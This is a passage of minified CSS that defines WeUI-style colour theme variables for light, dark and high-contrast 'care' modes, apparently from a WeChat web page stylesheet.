e;--weui-PURPLE-BG-90:#5c5ea7;--weui-RED-100:#fa5151;--weui-RED-120:#fb7373;--weui-RED-170:#fdcaca;--weui-RED-80:#c84040;--weui-RED-90:#e14949;--weui-RED-BG-100:#cf5148;--weui-RED-BG-110:#d3625a;--weui-RED-BG-130:#dd847e;--weui-RED-BG-90:#b94840;--weui-SECONDARY-BG:rgba(0,0,0,.05);--weui-SEPARATOR-0:rgba(0,0,0,.1);--weui-SEPARATOR-1:rgba(0,0,0,.15);--weui-STATELAYER-HOVERED:rgba(0,0,0,.02);--weui-STATELAYER-PRESSED:rgba(0,0,0,.1);--weui-STATELAYER-PRESSEDSTRENGTHENED:rgba(0,0,0,.2);--weui-YELLOW-100:#ffc300;--weui-YELLOW-120:#ffcf33;--weui-YELLOW-170:#ffecb2;--weui-YELLOW-80:#cc9c00;--weui-YELLOW-90:#e6af00;--weui-YELLOW-BG-100:#efb600;--weui-YELLOW-BG-110:#f0bd19;--weui-YELLOW-BG-130:#f3cc4d;--weui-YELLOW-BG-90:#d7a400;--weui-FG-HALF:rgba(0,0,0,.9);--weui-RED:#fa5151;--weui-ORANGERED:#ff6146;--weui-ORANGE:#fa9d3b;--weui-YELLOW:#ffc300;--weui-GREEN:#91d300;--weui-LIGHTGREEN:#95ec69;--weui-TEXTGREEN:#06ae56;--weui-BRAND:#07c160;--weui-BLUE:#10aeff;--weui-INDIGO:#1485ee;--weui-PURPLE:#6467f0;--weui-LINK:#576b95;--weui-TAG-TEXT-ORANGE:#fa9d3b;--weui-TAG-TEXT-GREEN:#06ae56;--weui-TAG-TEXT-BLUE:#10aeff;--weui-REDORANGE:#ff6146;--weui-TAG-TEXT-BLACK:rgba(0,0,0,.5);--weui-TAG-BACKGROUND-BLACK:rgba(0,0,0,.05);--weui-WHITE:#fff;--weui-BG:#fff;--weui-FG:#000;--weui-FG-5:rgba(0,0,0,.05);--weui-TAG-BACKGROUND-ORANGE:rgba(250,157,59,.1);--weui-TAG-BACKGROUND-GREEN:rgba(6,174,86,.1);--weui-TAG-TEXT-RED:rgba(250,81,81,.6);--weui-TAG-BACKGROUND-RED:rgba(250,81,81,.1);--weui-TAG-BACKGROUND-BLUE:rgba(16,174,255,.1)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-BG-0:#111;--weui-BG-1:#1e1e1e;--weui-BG-2:#191919;--weui-BG-3:#202020;--weui-BG-4:#404040;--weui-BG-5:#2c2c2c;--weui-BLUE-100:#10aeff;--weui-BLUE-120:#0c8bcc;--weui-BLUE-170:#04344d;--weui-BLUE-80:#3fbeff;--weui-BLUE-90:#28b6ff;--weui-BLUE-BG-100:#48a6e2;--weui-BLUE-BG-110:#4095cb;--weui-BLUE-BG-130:#32749e;--weui-BLUE-BG-90:#5aafe4;--weui-BRAND-100:#07c160;--weui-BRAND-120:#059a4c;--weui-BRAND-170:#023a1c;--weui-BRAND-80:#38cd7f;--weui-BRAND-90:#20c770;--weui-BRAND-BG-100:#2aae67;--weui-BRAND-BG-110:#259c5c;--weui-BRAND-BG-130:#1d7a48;--weui-BRAND-BG-90:#3eb575;--weui-FG-0:hsla(0,0%,100%,.8);--weui-FG-0_5:hsla(0,0%,100%,.6);--weui-FG-1:hsla(0,0%,100%,.5);--weui-FG-2:hsla(0,0%,100%,.3);--weui-FG-3:hsla(0,0%,100%,.1);--weui-FG-4:hsla(0,0%,100%,.15);--weui-GLYPH-0:hsla(0,0%,100%,.8);--weui-GLYPH-1:hsla(0,0%,100%,.5);--weui-GLYPH-2:hsla(0,0%,100%,.3);--weui-GLYPH-WHITE-0:hsla(0,0%,100%,.8);--weui-GLYPH-WHITE-1:hsla(0,0%,100%,.5);--weui-GLYPH-WHITE-2:hsla(0,0%,100%,.3);--weui-GLYPH-WHITE-3:#fff;--weui-GREEN-100:#74a800;--weui-GREEN-120:#5c8600;--weui-GREEN-170:#233200;--weui-GREEN-80:#8fb933;--weui-GREEN-90:#82b01a;--weui-GREEN-BG-100:#789833;--weui-GREEN-BG-110:#6b882d;--weui-GREEN-BG-130:#65802b;--weui-GREEN-BG-90:#85a247;--weui-INDIGO-100:#1196ff;--weui-INDIGO-120:#0d78cc;--weui-INDIGO-170:#052d4d;--weui-INDIGO-80:#40abff;--weui-INDIGO-90:#28a0ff;--weui-INDIGO-BG-100:#0d78cc;--weui-INDIGO-BG-110:#0b6bb7;--weui-INDIGO-BG-130:#09548f;--weui-INDIGO-BG-90:#2585d1;--weui-LIGHTGREEN-100:#3eb575;--weui-LIGHTGREEN-120:#31905d;--weui-LIGHTGREEN-170:#123522;--weui-LIGHTGREEN-80:#64c390;--weui-LIGHTGREEN-90:#51bc83;--weui-LIGHTGREEN-BG-100:#31905d;--weui-LIGHTGREEN-BG-110:#2c8153;--weui-LIGHTGREEN-BG-130:#226541;--weui-LIGHTGREEN-BG-90:#31905d;--weui-LINK-100:#7d90a9;--weui-LINK-120:#647387;--weui-LINK-170:#252a32;--weui-LINK-80:#97a6ba;--weui-LINK-90:#899ab1;--weui-LINKFINDER-100:#dee9ff;--weui-MATERIAL-ATTACHMENTCOLUMN:rgba(32,32,32,.93);--weui-MATERIAL-NAVIGATIONBAR:hsla(0,0%,7%,.9);--weui-MATERIAL-REGULAR:rgba(37,37,37,.6);--weui-MATERIAL-THICK:rgba(34,34,34,.9);--weui-MATERIAL-THIN:rgba(95,95,95,.4);--weui-MATERIAL-TOOLBAR:rgba(35,35,35,.93);--weui-ORANGE-100:#c87d2f;--weui-ORANGE-120:#a06425;--weui-ORANGE-170:#3b250e;--weui-ORANGE-80:#d39758;--weui-ORANGE-90:#cd8943;--weui-ORANGE-BG-100:#bb6000;--weui-ORANGE-BG-110:#a85600;--weui-ORANGE-BG-130:#824300;--weui-ORANGE-BG-90:#c1701a;--weui-ORANGERED-100:#ff6146;--weui-OVERLAY:rgba(0,0,0,.8);--weui-OVERLAY-WHITE:hsla(0,0%,95%,.8);--weui-PURPLE-100:#8183ff;--weui-PURPLE-120:#6768cc;--weui-PURPLE-170:#26274c;--weui-PURPLE-80:#9a9bff;--weui-PURPLE-90:#8d8fff;--weui-PURPLE-BG-100:#6768cc;--weui-PURPLE-BG-110:#5c5db7;--weui-PURPLE-BG-130:#48498f;--weui-PURPLE-BG-90:#7677d1;--weui-RED-100:#fa5151;--weui-RED-120:#c84040;--weui-RED-170:#4b1818;--weui-RED-80:#fb7373;--weui-RED-90:#fa6262;--weui-RED-BG-100:#cf5148;--weui-RED-BG-110:#ba4940;--weui-RED-BG-130:#913832;--weui-RED-BG-90:#d3625a;--weui-SECONDARY-BG:hsla(0,0%,100%,.1);--weui-SEPARATOR-0:hsla(0,0%,100%,.05);--weui-SEPARATOR-1:hsla(0,0%,100%,.15);--weui-STATELAYER-HOVERED:rgba(0,0,0,.02);--weui-STATELAYER-PRESSED:hsla(0,0%,100%,.1);--weui-STATELAYER-PRESSEDSTRENGTHENED:hsla(0,0%,100%,.2);--weui-YELLOW-100:#cc9c00;--weui-YELLOW-120:#a37c00;--weui-YELLOW-170:#3d2f00;--weui-YELLOW-80:#d6af33;--weui-YELLOW-90:#d1a519;--weui-YELLOW-BG-100:#bf9100;--weui-YELLOW-BG-110:#ab8200;--weui-YELLOW-BG-130:#866500;--weui-YELLOW-BG-90:#c59c1a;--weui-FG-HALF:hsla(0,0%,100%,.6);--weui-RED:#fa5151;--weui-ORANGERED:#ff6146;--weui-ORANGE:#c87d2f;--weui-YELLOW:#cc9c00;--weui-GREEN:#74a800;--weui-LIGHTGREEN:#3eb575;--weui-TEXTGREEN:#259c5c;--weui-BRAND:#07c160;--weui-BLUE:#10aeff;--weui-INDIGO:#1196ff;--weui-PURPLE:#8183ff;--weui-LINK:#7d90a9;--weui-REDORANGE:#ff6146;--weui-TAG-TEXT-BLACK:hsla(0,0%,100%,.5);--weui-TAG-BACKGROUND-BLACK:hsla(0,0%,100%,.05);--weui-WHITE:hsla(0,0%,100%,.8);--weui-FG:#fff;--weui-BG:#000;--weui-FG-5:hsla(0,0%,100%,.1);--weui-TAG-BACKGROUND-ORANGE:rgba(250,157,59,.1);--weui-TAG-BACKGROUND-GREEN:rgba(6,174,86,.1);--weui-TAG-TEXT-RED:rgba(250,81,81,.6);--weui-TAG-BACKGROUND-RED:rgba(250,81,81,.1);--weui-TAG-BACKGROUND-BLUE:rgba(16,174,255,.1);--weui-TAG-TEXT-ORANGE:rgba(250,157,59,.6);--weui-TAG-TEXT-GREEN:rgba(6,174,86,.6);--weui-TAG-TEXT-BLUE:rgba(16,174,255,.6)}}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-BG-0:#111;--weui-BG-1:#1e1e1e;--weui-BG-2:#191919;--weui-BG-3:#202020;--weui-BG-4:#404040;--weui-BG-5:#2c2c2c;--weui-BLUE-100:#10aeff;--weui-BLUE-120:#0c8bcc;--weui-BLUE-170:#04344d;--weui-BLUE-80:#3fbeff;--weui-BLUE-90:#28b6ff;--weui-BLUE-BG-100:#48a6e2;--weui-BLUE-BG-110:#4095cb;--weui-BLUE-BG-130:#32749e;--weui-BLUE-BG-90:#5aafe4;--weui-BRAND-100:#07c160;--weui-BRAND-120:#059a4c;--weui-BRAND-170:#023a1c;--weui-BRAND-80:#38cd7f;--weui-BRAND-90:#20c770;--weui-BRAND-BG-100:#2aae67;--weui-BRAND-BG-110:#259c5c;--weui-BRAND-BG-130:#1d7a48;--weui-BRAND-BG-90:#3eb575;--weui-FG-0:hsla(0,0%,100%,.8);--weui-FG-0_5:hsla(0,0%,100%,.6);--weui-FG-1:hsla(0,0%,100%,.5);--weui-FG-2:hsla(0,0%,100%,.3);--weui-FG-3:hsla(0,0%,100%,.1);--weui-FG-4:hsla(0,0%,100%,.15);--weui-GLYPH-0:hsla(0,0%,100%,.8);--weui-GLYPH-1:hsla(0,0%,100%,.5);--weui-GLYPH-2:hsla(0,0%,100%,.3);--weui-GLYPH-WHITE-0:hsla(0,0%,100%,.8);--weui-GLYPH-WHITE-1:hsla(0,0%,100%,.5);--weui-GLYPH-WHITE-2:hsla(0,0%,100%,.3);--weui-GLYPH-WHITE-3:#fff;--weui-GREEN-100:#74a800;--weui-GREEN-120:#5c8600;--weui-GREEN-170:#233200;--weui-GREEN-80:#8fb933;--weui-GREEN-90:#82b01a;--weui-GREEN-BG-100:#789833;--weui-GREEN-BG-110:#6b882d;--weui-GREEN-BG-130:#65802b;--weui-GREEN-BG-90:#85a247;--weui-INDIGO-100:#1196ff;--weui-INDIGO-120:#0d78cc;--weui-INDIGO-170:#052d4d;--weui-INDIGO-80:#40abff;--weui-INDIGO-90:#28a0ff;--weui-INDIGO-BG-100:#0d78cc;--weui-INDIGO-BG-110:#0b6bb7;--weui-INDIGO-BG-130:#09548f;--weui-INDIGO-BG-90:#2585d1;--weui-LIGHTGREEN-100:#3eb575;--weui-LIGHTGREEN-120:#31905d;--weui-LIGHTGREEN-170:#123522;--weui-LIGHTGREEN-80:#64c390;--weui-LIGHTGREEN-90:#51bc83;--weui-LIGHTGREEN-BG-100:#31905d;--weui-LIGHTGREEN-BG-110:#2c8153;--weui-LIGHTGREEN-BG-130:#226541;--weui-LIGHTGREEN-BG-90:#31905d;--weui-LINK-100:#7d90a9;--weui-LINK-120:#647387;--weui-LINK-170:#252a32;--weui-LINK-80:#97a6ba;--weui-LINK-90:#899ab1;--weui-LINKFINDER-100:#dee9ff;--weui-MATERIAL-ATTACHMENTCOLUMN:rgba(32,32,32,.93);--weui-MATERIAL-NAVIGATIONBAR:hsla(0,0%,7%,.9);--weui-MATERIAL-REGULAR:rgba(37,37,37,.6);--weui-MATERIAL-THICK:rgba(34,34,34,.9);--weui-MATERIAL-THIN:rgba(95,95,95,.4);--weui-MATERIAL-TOOLBAR:rgba(35,35,35,.93);--weui-ORANGE-100:#c87d2f;--weui-ORANGE-120:#a06425;--weui-ORANGE-170:#3b250e;--weui-ORANGE-80:#d39758;--weui-ORANGE-90:#cd8943;--weui-ORANGE-BG-100:#bb6000;--weui-ORANGE-BG-110:#a85600;--weui-ORANGE-BG-130:#824300;--weui-ORANGE-BG-90:#c1701a;--weui-ORANGERED-100:#ff6146;--weui-OVERLAY:rgba(0,0,0,.8);--weui-OVERLAY-WHITE:hsla(0,0%,95%,.8);--weui-PURPLE-100:#8183ff;--weui-PURPLE-120:#6768cc;--weui-PURPLE-170:#26274c;--weui-PURPLE-80:#9a9bff;--weui-PURPLE-90:#8d8fff;--weui-PURPLE-BG-100:#6768cc;--weui-PURPLE-BG-110:#5c5db7;--weui-PURPLE-BG-130:#48498f;--weui-PURPLE-BG-90:#7677d1;--weui-RED-100:#fa5151;--weui-RED-120:#c84040;--weui-RED-170:#4b1818;--weui-RED-80:#fb7373;--weui-RED-90:#fa6262;--weui-RED-BG-100:#cf5148;--weui-RED-BG-110:#ba4940;--weui-RED-BG-130:#913832;--weui-RED-BG-90:#d3625a;--weui-SECONDARY-BG:hsla(0,0%,100%,.1);--weui-SEPARATOR-0:hsla(0,0%,100%,.05);--weui-SEPARATOR-1:hsla(0,0%,100%,.15);--weui-STATELAYER-HOVERED:rgba(0,0,0,.02);--weui-STATELAYER-PRESSED:hsla(0,0%,100%,.1);--weui-STATELAYER-PRESSEDSTRENGTHENED:hsla(0,0%,100%,.2);--weui-YELLOW-100:#cc9c00;--weui-YELLOW-120:#a37c00;--weui-YELLOW-170:#3d2f00;--weui-YELLOW-80:#d6af33;--weui-YELLOW-90:#d1a519;--weui-YELLOW-BG-100:#bf9100;--weui-YELLOW-BG-110:#ab8200;--weui-YELLOW-BG-130:#866500;--weui-YELLOW-BG-90:#c59c1a;--weui-FG-HALF:hsla(0,0%,100%,.6);--weui-RED:#fa5151;--weui-ORANGERED:#ff6146;--weui-ORANGE:#c87d2f;--weui-YELLOW:#cc9c00;--weui-GREEN:#74a800;--weui-LIGHTGREEN:#3eb575;--weui-TEXTGREEN:#259c5c;--weui-BRAND:#07c160;--weui-BLUE:#10aeff;--weui-INDIGO:#1196ff;--weui-PURPLE:#8183ff;--weui-LINK:#7d90a9;--weui-REDORANGE:#ff6146;--weui-TAG-TEXT-BLACK:hsla(0,0%,100%,.5);--weui-TAG-BACKGROUND-BLACK:hsla(0,0%,100%,.05);--weui-WHITE:hsla(0,0%,100%,.8);--weui-FG:#fff;--weui-BG:#000;--weui-FG-5:hsla(0,0%,100%,.1);--weui-TAG-BACKGROUND-ORANGE:rgba(250,157,59,.1);--weui-TAG-BACKGROUND-GREEN:rgba(6,174,86,.1);--weui-TAG-TEXT-RED:rgba(250,81,81,.6);--weui-TAG-BACKGROUND-RED:rgba(250,81,81,.1);--weui-TAG-BACKGROUND-BLUE:rgba(16,174,255,.1);--weui-TAG-TEXT-ORANGE:rgba(250,157,59,.6);--weui-TAG-TEXT-GREEN:rgba(6,174,86,.6);--weui-TAG-TEXT-BLUE:rgba(16,174,255,.6)}.wx-root[data-weui-mode="care"],body[data-weui-mode="care"]{--weui-BG-0:#ededed;--weui-BG-1:#f7f7f7;--weui-BG-2:#fff;--weui-BG-3:#f7f7f7;--weui-BG-4:#4c4c4c;--weui-BG-5:#fff;--weui-BLUE-100:#007dbb;--weui-BLUE-120:#3fbeff;--weui-BLUE-170:#b7e6ff;--weui-BLUE-80:#0c8bcc;--weui-BLUE-90:#0e9ce6;--weui-BLUE-BG-100:#48a6e2;--weui-BLUE-BG-110:#5aafe4;--weui-BLUE-BG-130:#7fc0ea;--weui-BLUE-BG-90:#4095cb;--weui-BRAND-100:#018942;--weui-BRAND-120:#38cd7f;--weui-BRAND-170:#b4ecce;--weui-BRAND-80:#059a4c;--weui-BRAND-90:#06ae56;--weui-BRAND-BG-100:#2aae67;--weui-BRAND-BG-110:#3eb575;--weui-BRAND-BG-130:#69c694;--weui-BRAND-BG-90:#259c5c;--weui-FG-0:#000;--weui-FG-0_5:#000;--weui-FG-1:rgba(0,0,0,.6);--weui-FG-2:rgba(0,0,0,.42);--weui-FG-3:rgba(0,0,0,.1);--weui-FG-4:rgba(0,0,0,.15);--weui-GLYPH-0:#000;--weui-GLYPH-1:rgba(0,0,0,.6);--weui-GLYPH-2:rgba(0,0,0,.42);--weui-GLYPH-WHITE-0:hsla(0,0%,100%,.85);--weui-GLYPH-WHITE-1:hsla(0,0%,100%,.55);--weui-GLYPH-WHITE-2:hsla(0,0%,100%,.35);--weui-GLYPH-WHITE-3:#fff;--weui-GREEN-100:#4f8400;--weui-GREEN-120:#a7db33;--weui-GREEN-170:#def1b3;--weui-GREEN-80:#74a800;--weui-GREEN-90:#82bd00;--weui-GREEN-BG-100:#96be40;--weui-GREEN-BG-110:#a0c452;--weui-GREEN-BG-130:#b5d179;--weui-GREEN-BG-90:#86aa39;--weui-INDIGO-100:#0075e2;--weui-INDIGO-120:#439df1;--weui-INDIGO-170:#b8daf9;--weui-INDIGO-80:#106abe;--weui-INDIGO-90:#1277d6;--weui-INDIGO-BG-100:#2b77bf;--weui-INDIGO-BG-110:#3f84c5;--weui-INDIGO-BG-130:#6ba0d2;--weui-INDIGO-BG-90:#266aab;--weui-LIGHTGREEN-100:#2e8800;--weui-LIGHTGREEN-120:#aaef87;--weui-LIGHTGREEN-170:#def9d1;--weui-LIGHTGREEN-80:#77bc54;--weui-LIGHTGREEN-90:#85d35e;--weui-LIGHTGREEN-BG-100:#72cf60;--weui-LIGHTGREEN-BG-110:#80d370;--weui-LIGHTGREEN-BG-130:#9cdd90;--weui-LIGHTGREEN-BG-90:#66b956;--weui-LINK-100:#576b95;--weui-LINK-120:#7888aa;--weui-LINK-170:#ccd2de;--weui-LINK-80:#455577;--weui-LINK-90:#4e6085;--weui-LINKFINDER-100:#002666;--weui-MATERIAL-ATTACHMENTCOLUMN:hsla(0,0%,96%,.95);--weui-MATERIAL-NAVIGATIONBAR:hsla(0,0%,93%,.94);--weui-MATERIAL-REGULAR:hsla(0,0%,97%,.3);--weui-MATERIAL-THICK:hsla(0,0%,97%,.8);--weui-MATERIAL-THIN:hsla(0,0%,100%,.2);--weui-MATERIAL-TOOLBAR:hsla(0,0%,96%,.82);--weui-ORANGE-100:#e17719;--weui-ORANGE-120:#fbb062;--weui-ORANGE-170:#fde1c3;--weui-ORANGE-80:#c87d2f;--weui-ORANGE-90:#e08c34;--weui-ORANGE-BG-100:#ea7800;--weui-ORANGE-BG-110:#ec8519;--weui-ORANGE-BG-130:#f0a04d;--weui-ORANGE-BG-90:#d26b00;--weui-ORANGERED-100:#d14730;--weui-OVERLAY:rgba(0,0,0,.5);--weui-OVERLAY-WHITE:hsla(0,0%,95%,.8);--weui-PURPLE-100:#6265f1;--weui-PURPLE-120:#8385f3;--weui-PURPLE-170:#d0d1fa;--weui-PURPLE-80:#5052c0;--weui-PURPLE-90:#595cd7;--weui-PURPLE-BG-100:#6769ba;--weui-PURPLE-BG-110:#7678c1;--weui-PURPLE-BG-130:#9496ce;--weui-PURPLE-BG-90:#5c5ea7;--weui-RED-100:#dc3636;--weui-RED-120:#fb7373;--weui-RED-170:#fdcaca;--weui-RED-80:#c84040;--weui-RED-90:#e14949;--weui-RED-BG-100:#cf5148;--weui-RED-BG-110:#d3625a;--weui-RED-BG-130:#dd847e;--weui-RED-BG-90:#b94840;--weui-SECONDARY-BG:rgba(0,0,0,.1);--weui-SEPARATOR-0:rgba(0,0,0,.1);--weui-SEPARATOR-1:rgba(0,0,0,.15);--weui-STATELAYER-HOVERED:rgba(0,0,0,.02);--weui-STATELAYER-PRESSED:rgba(0,0,0,.1);--weui-STATELAYER-PRESSEDSTRENGTHENED:rgba(0,0,0,.2);--weui-YELLOW-100:#bb8e00;--weui-YELLOW-120:#ffcf33;--weui-YELLOW-170:#ffecb2;--weui-YELLOW-80:#cc9c00;--weui-YELLOW-90:#e6af00;--weui-YELLOW-BG-100:#efb600;--weui-YELLOW-BG-110:#f0bd19;--weui-YELLOW-BG-130:#f3cc4d;--weui-YELLOW-BG-90:#d7a400;--weui-FG-HALF:#000;--weui-RED:#dc3636;--weui-ORANGERED:#d14730;--weui-ORANGE:#e17719;--weui-YELLOW:#bb8e00;--weui-GREEN:#4f8400;--weui-LIGHTGREEN:#2e8800;--weui-TEXTGREEN:#06ae56;--weui-BRAND:#018942;--weui-BLUE:#007dbb;--weui-INDIGO:#0075e2;--weui-PURPLE:#6265f1;--weui-LINK:#576b95;--weui-TAG-TEXT-ORANGE:#e17719;--weui-TAG-TEXT-GREEN:#06ae56;--weui-TAG-TEXT-BLUE:#007dbb;--weui-REDORANGE:#d14730;--weui-TAG-TEXT-BLACK:rgba(0,0,0,.5);--weui-WHITE:#fff;--weui-BG:#fff;--weui-FG:#000;--weui-FG-5:rgba(0,0,0,.05);--weui-TAG-BACKGROUND-ORANGE:rgba(225,119,25,.1);--weui-TAG-BACKGROUND-GREEN:rgba(6,174,86,.1);--weui-TAG-TEXT-RED:rgba(250,81,81,.6);--weui-TAG-BACKGROUND-RED:rgba(250,81,81,.1);--weui-TAG-BACKGROUND-BLUE:rgba(0,125,187,.1);--weui-TAG-BACKGROUND-BLACK:rgba(0,0,0,.05)}@media (prefers-color-scheme:dark){.wx-root[data-weui-mode="care"]:not([data-weui-theme="light"]),body[data-weui-mode="care"]:not([data-weui-theme="light"]){--weui-BG-0:#111;--weui-BG-1:#1e1e1e;--weui-BG-2:#191919;--weui-BG-3:#202020;--weui-BG-4:#404040;--weui-BG-5:#2c2c2c;--weui-BLUE-100:#10aeff;--weui-BLUE-120:#0c8bcc;--weui-BLUE-170:#04344d;--weui-BLUE-80:#3fbeff;--weui-BLUE-90:#28b6ff;--weui-BLUE-BG-100:#48a6e2;--weui-BLUE-BG-110:#4095cb;--weui-BLUE-BG-130:#32749e;--weui-BLUE-BG-90:#5aafe4;--weui-BRAND-100:#07c160;--weui-BRAND-120:#059a4c;--weui-BRAND-170:#023a1c;--weui-BRAND-80:#38cd7f;--weui-BRAND-90:#20c770;--weui-BRAND-BG-100:#2aae67;--weui-BRAND-BG-110:#259c5c;--weui-BRAND-BG-130:#1d7a48;--weui-BRAND-BG-90:#3eb575;--weui-FG-0:hsla(0,0%,100%,.85);--weui-FG-0_5:hsla(0,0%,100%,.65);--weui-FG-1:hsla(0,0%,100%,.55);--weui-FG-2:hsla(0,0%,100%,.35);--weui-FG-3:hsla(0,0%,100%,.1);--weui-FG-4:hsla(0,0%,100%,.15);--weui-GLYPH-0:hsla(0,0%,100%,.85);--weui-GLYPH-1:hsla(0,0%,100%,.55);--weui-GLYPH-2:hsla(0,0%,100%,.35);--weui-GLYPH-WHITE-0:hsla(0,0%,100%,.85);--weui-GLYPH-WHITE-1:hsla(0,0%,100%,.55);--weui-GLYPH-WHITE-2:hsla(0,0%,100%,.35);--weui-GLYPH-WHITE-3:#fff;--weui-GREEN-100:#74a800;--weui-GREEN-120:#5c8600;--weui-GREEN-170:#233200;--weui-GREEN-80:#8fb933;--weui-GREEN-90:#82b01a;--weui-GREEN-BG-100:#789833;--weui-GREEN-BG-110:#6b882d;--weui-GREEN-BG-130:#65802b;--weui-GREEN-BG-90:#85a247;--weui-INDIGO-100:#1196ff;--weui-INDIGO-120:#0d78cc;--weui-INDIGO-170:#052d4d;--weui-INDIGO-80:#40abff;--weui-INDIGO-90:#28a0ff;--weui-INDIGO-BG-100:#0d78cc;--weui-INDIGO-BG-110:#0b6bb7;--weui-INDIGO-BG-130:#09548f;--weui-INDIGO-BG-90:#2585d1;--weui-LIGHTGREEN-100:#3eb575;--weui-LIGHTGREEN-120:#31905d;--weui-LIGHTGREEN-170:#123522;--weui-LIGHTGREEN-80:#64c390;--weui-LIGHTGREEN-90:#51bc83;--weui-LIGHTGREEN-BG-100:#31905d;--weui-LIGHTGREEN-BG-110:#2c8153;--weui-LIGHTGREEN-BG-130:#226541;--weui-LIGHTGREEN-BG-90:#31905d;--weui-LINK-100:#7d90a9;--weui-LINK-120:#647387;--weui-LINK-170:#252a32;--weui-LINK-80:#97a6ba;--weui-LINK-90:#899ab1;--weui-LINKFINDER-100:#dee9ff;--weui-MATERIAL-ATTACHMENTCOLUMN:rgba(32,32,32,.93);--weui-MATERIAL-NAVIGATIONBAR:hsla(0,0%,7%,.9);--weui-MATERIAL-REGULAR:rgba(37,37,37,.6);--weui-MATERIAL-THICK:rgba(34,34,34,.9);--weui-MATERIAL-THIN:hsla(0,0%,96%,.4);--weui-MATERIAL-TOOLBAR:rgba(35,35,35,.93);--weui-ORANGE-100:#c87d2f;--weui-ORANGE-120:#a06425;--weui-ORANGE-170:#3b250e;--weui-ORANGE-80:#d39758;--weui-ORANGE-90:#cd8943;--weui-ORANGE-BG-100:#bb6000;--weui-ORANGE-BG-110:#a85600;--weui-ORANGE-BG-130:#824300;--weui-ORANGE-BG-90:#c1701a;--weui-ORANGERED-100:#ff6146;--weui-OVERLAY:rgba(0,0,0,.8);--weui-OVERLAY-WHITE:hsla(0,0%,95%,.8);--weui-PURPLE-100:#8183ff;--weui-PURPLE-120:#6768cc;--weui-PURPLE-170:#26274c;--weui-PURPLE-80:#9a9bff;--weui-PURPLE-90:#8d8fff;--weui-PURPLE-BG-100:#6768cc;--weui-PURPLE-BG-110:#5c5db7;--weui-PURPLE-BG-130:#48498f;--weui-PURPLE-BG-90:#7677d1;--weui-RED-100:#fa5151;--weui-RED-120:#c84040;--weui-RED-170:#4b1818;--weui-RED-80:#fb7373;--weui-RED-90:#fa6262;--weui-RED-BG-100:#cf5148;--weui-RED-BG-110:#ba4940;--weui-RED-BG-130:#913832;--weui-RED-BG-90:#d3625a;--weui-SECONDARY-BG:hsla(0,0%,100%,.15);--weui-SEPARATOR-0:hsla(0,0%,100%,.05);--weui-SEPARATOR-1:hsla(0,0%,100%,.15);--weui-STATELAYER-HOVERED:rgba(0,0,0,.02);--weui-STATELAYER-PRESSED:hsla(0,0%,100%,.1);--weui-STATELAYER-PRESSEDSTRENGTHENED:hsla(0,0%,100%,.2);--weui-YELLOW-100:#cc9c00;--weui-YELLOW-120:#a37c00;--weui-YELLOW-170:#3d2f00;--weui-YELLOW-80:#d6af33;--weui-YELLOW-90:#d1a519;--weui-YELLOW-BG-100:#bf9100;--weui-YELLOW-BG-110:#ab8200;--weui-YELLOW-BG-130:#866500;--weui-YELLOW-BG-90:#c59c1a;--weui-FG-HALF:hsla(0,0%,100%,.65);--weui-RED:#fa5151;--weui-ORANGERED:#ff6146;--weui-ORANGE:#c87d2f;--weui-YELLOW:#cc9c00;--weui-GREEN:#74a800;--weui-LIGHTGREEN:#3eb575;--weui-TEXTGREEN:#259c5c;--weui-BRAND:#07c160;--weui-BLUE:#10aeff;--weui-INDIGO:#1196ff;--weui-PURPLE:#8183ff;--weui-LINK:#7d90a9;--weui-REDORANGE:#ff6146;--weui-TAG-BACKGROUND-BLACK:hsla(0,0%,100%,.05);--weui-FG:#fff;--weui-WHITE:hsla(0,0%,100%,.8);--weui-FG-5:hsla(0,0%,100%,.1);--weui-TAG-BACKGROUND-ORANGE:rgba(250,157,59,.1);--weui-TAG-BACKGROUND-GREEN:rgba(6,174,86,.1);--weui-TAG-TEXT-RED:rgba(250,81,81,.6);--weui-TAG-BACKGROUND-RED:rgba(250,81,81,.1);--weui-TAG-BACKGROUND-BLUE:rgba(16,174,255,.1);--weui-TAG-TEXT-ORANGE:rgba(250,157,59,.6);--weui-BG:#000;--weui-TAG-TEXT-GREEN:rgba(6,174,86,.6);--weui-TAG-TEXT-BLUE:rgba(16,174,255,.6);--weui-TAG-TEXT-BLACK:hsla(0,0%,100%,.5)}}.wx-root[data-weui-mode="care"][data-weui-theme="dark"],body[data-weui-mode="care"][data-weui-theme="dark"]{--weui-BG-0:#111;--weui-BG-1:#1e1e1e;--weui-BG-2:#191919;--weui-BG-3:#202020;--weui-BG-4:#404040;--weui-BG-5:#2c2c2c;--weui-BLUE-100:#10aeff;--weui-BLUE-120:#0c8bcc;--weui-BLUE-170:#04344d;--weui-BLUE-80:#3fbeff;--weui-BLUE-90:#28b6ff;--weui-BLUE-BG-100:#48a6e2;--weui-BLUE-BG-110:#4095cb;--weui-BLUE-BG-130:#32749e;--weui-BLUE-BG-90:#5aafe4;--weui-BRAND-100:#07c160;--weui-BRAND-120:#059a4c;--weui-BRAND-170:#023a1c;--weui-BRAND-80:#38cd7f;--weui-BRAND-90:#20c770;--weui-BRAND-BG-100:#2aae67;--weui-BRAND-BG-110:#259c5c;--weui-BRAND-BG-130:#1d7a48;--weui-BRAND-BG-90:#3eb575;--weui-FG-0:hsla(0,0%,100%,.85);--weui-FG-0_5:hsla(0,0%,100%,.65);--weui-FG-1:hsla(0,0%,100%,.55);--weui-FG-2:hsla(0,0%,100%,.35);--weui-FG-3:hsla(0,0%,100%,.1);--weui-FG-4:hsla(0,0%,100%,.15);--weui-GLYPH-0:hsla(0,0%,100%,.85);--weui-GLYPH-1:hsla(0,0%,100%,.55);--weui-GLYPH-2:hsla(0,0%,100%,.35);--weui-GLYPH-WHITE-0:hsla(0,0%,100%,.85);--weui-GLYPH-WHITE-1:hsla(0,0%,100%,.55);--weui-GLYPH-WHITE-2:hsla(0,0%,100%,.35);--weui-GLYPH-WHITE-3:#fff;--weui-GREEN-100:#74a800;--weui-GREEN-120:#5c8600;--weui-GREEN-170:#233200;--weui-GREEN-80:#8fb933;--weui-GREEN-90:#82b01a;--weui-GREEN-BG-100:#789833;--weui-GREEN-BG-110:#6b882d;--weui-GREEN-BG-130:#65802b;--weui-GREEN-BG-90:#85a247;--weui-INDIGO-100:#1196ff;--weui-INDIGO-120:#0d78cc;--weui-INDIGO-170:#052d4d;--weui-INDIGO-80:#40abff;--weui-INDIGO-90:#28a0ff;--weui-INDIGO-BG-100:#0d78cc;--weui-INDIGO-BG-110:#0b6bb7;--weui-INDIGO-BG-